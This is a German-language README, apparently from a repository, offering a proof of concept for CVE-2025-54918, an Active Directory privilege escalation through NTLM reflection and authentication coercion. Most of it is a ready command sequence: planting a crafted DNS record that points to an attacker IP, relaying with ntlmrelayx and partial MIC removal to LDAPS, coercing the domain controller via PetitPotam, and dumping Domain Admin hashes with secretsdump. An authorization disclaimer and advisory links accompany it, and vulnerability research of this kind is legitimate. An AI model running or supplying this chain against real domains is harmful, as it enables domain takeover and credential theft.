
POC für CVE-2025-54918 und eine technische Demonstration.
WICHTIG:
Um CVE-2025-54918 zu testen, müssen Sie einen DNS-Eintrag in der Ziel-Active-Directory-Umgebung erstellen.
Konsultieren Sie stets den Kunden und holen Sie ausdrückliche Genehmigung ein, bevor Sie testen, da dies das DNS- und Authentifizierungsverhalten in Produktionsumgebungen beeinflussen kann.
Dieses Repository enthält einen technischen Proof of Concept, der zeigt, wie ein Domain-Benutzer mit niedrigen Privilegien durch Missbrauch von NTLM-Reflection in Kombination mit Authentifizierungs-Coercion zu Zugriff auf Domain-Admin-Ebene aufsteigen kann.
Hinweis: Die CVE ist selbst dann ausnutzbar, wenn Signing auf True gesetzt ist, was für einen Domain Controller die Standardeinstellung ist. Außerdem bezog sich der Fix für CVE-2025–54918 auf Windows 2025, und CVE-2025–33073 behob (unbeabsichtigt) das Problem für Windows 2022.
Eine ausführlichere technische Aufschlüsselung finden Sie auf meiner Medium-Seite: https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150 (Signing ist True, was für einen Domain Controller die Standardeinstellung ist)192.168.140.135nahya.localtest Gültiger Domain-Benutzer (keine DCSync-Berechtigungen)Klonen Sie die erforderlichen Repositorys:
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
Überprüfen Sie, dass der Benutzer vor der Ausnutzung kein DCSync durchführen kann:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Erstellen Sie einen DNS-Eintrag mit dem NetBIOS-Namen + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, der auf die Angreifer-IP auflöst.
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

Führen Sie ntlmrelayx mit teilweiser MIC-Entfernung und aktivierter LDAP-Eskalation aus:
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

Zwingen Sie den Domain Controller mithilfe einer Coercion-Technik (PetitPotam) dazu, sich gegenüber dem vom Angreifer kontrollierten DNS-Eintrag zu authentifizieren:
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Führen Sie secretsdump erneut aus, um die Privilegieneskalation zu bestätigen:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ Erwartetes Ergebnis: Erfolgreiches DCSync und Abruf der Domain-Admin-Hashes

Zu diesem Zeitpunkt hat der Angreifer:
Lesen Sie den Medium-Artikel für eine ausführliche Erklärung der Schwachstelle und der Angriffskette.
Diese Arbeit wäre nicht möglich gewesen ohne:
impacket-partial-mic-ImplementierungAnalyse der NTLM- & LDAP-Authentifizierungs-Bypass-Schwachstelle – CrowdStrike-Blog
https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/
Microsoft Security Advisory – CVE-2025-54918 – MSRC-Updateanleitung
https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918
Dieser Proof of Concept wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.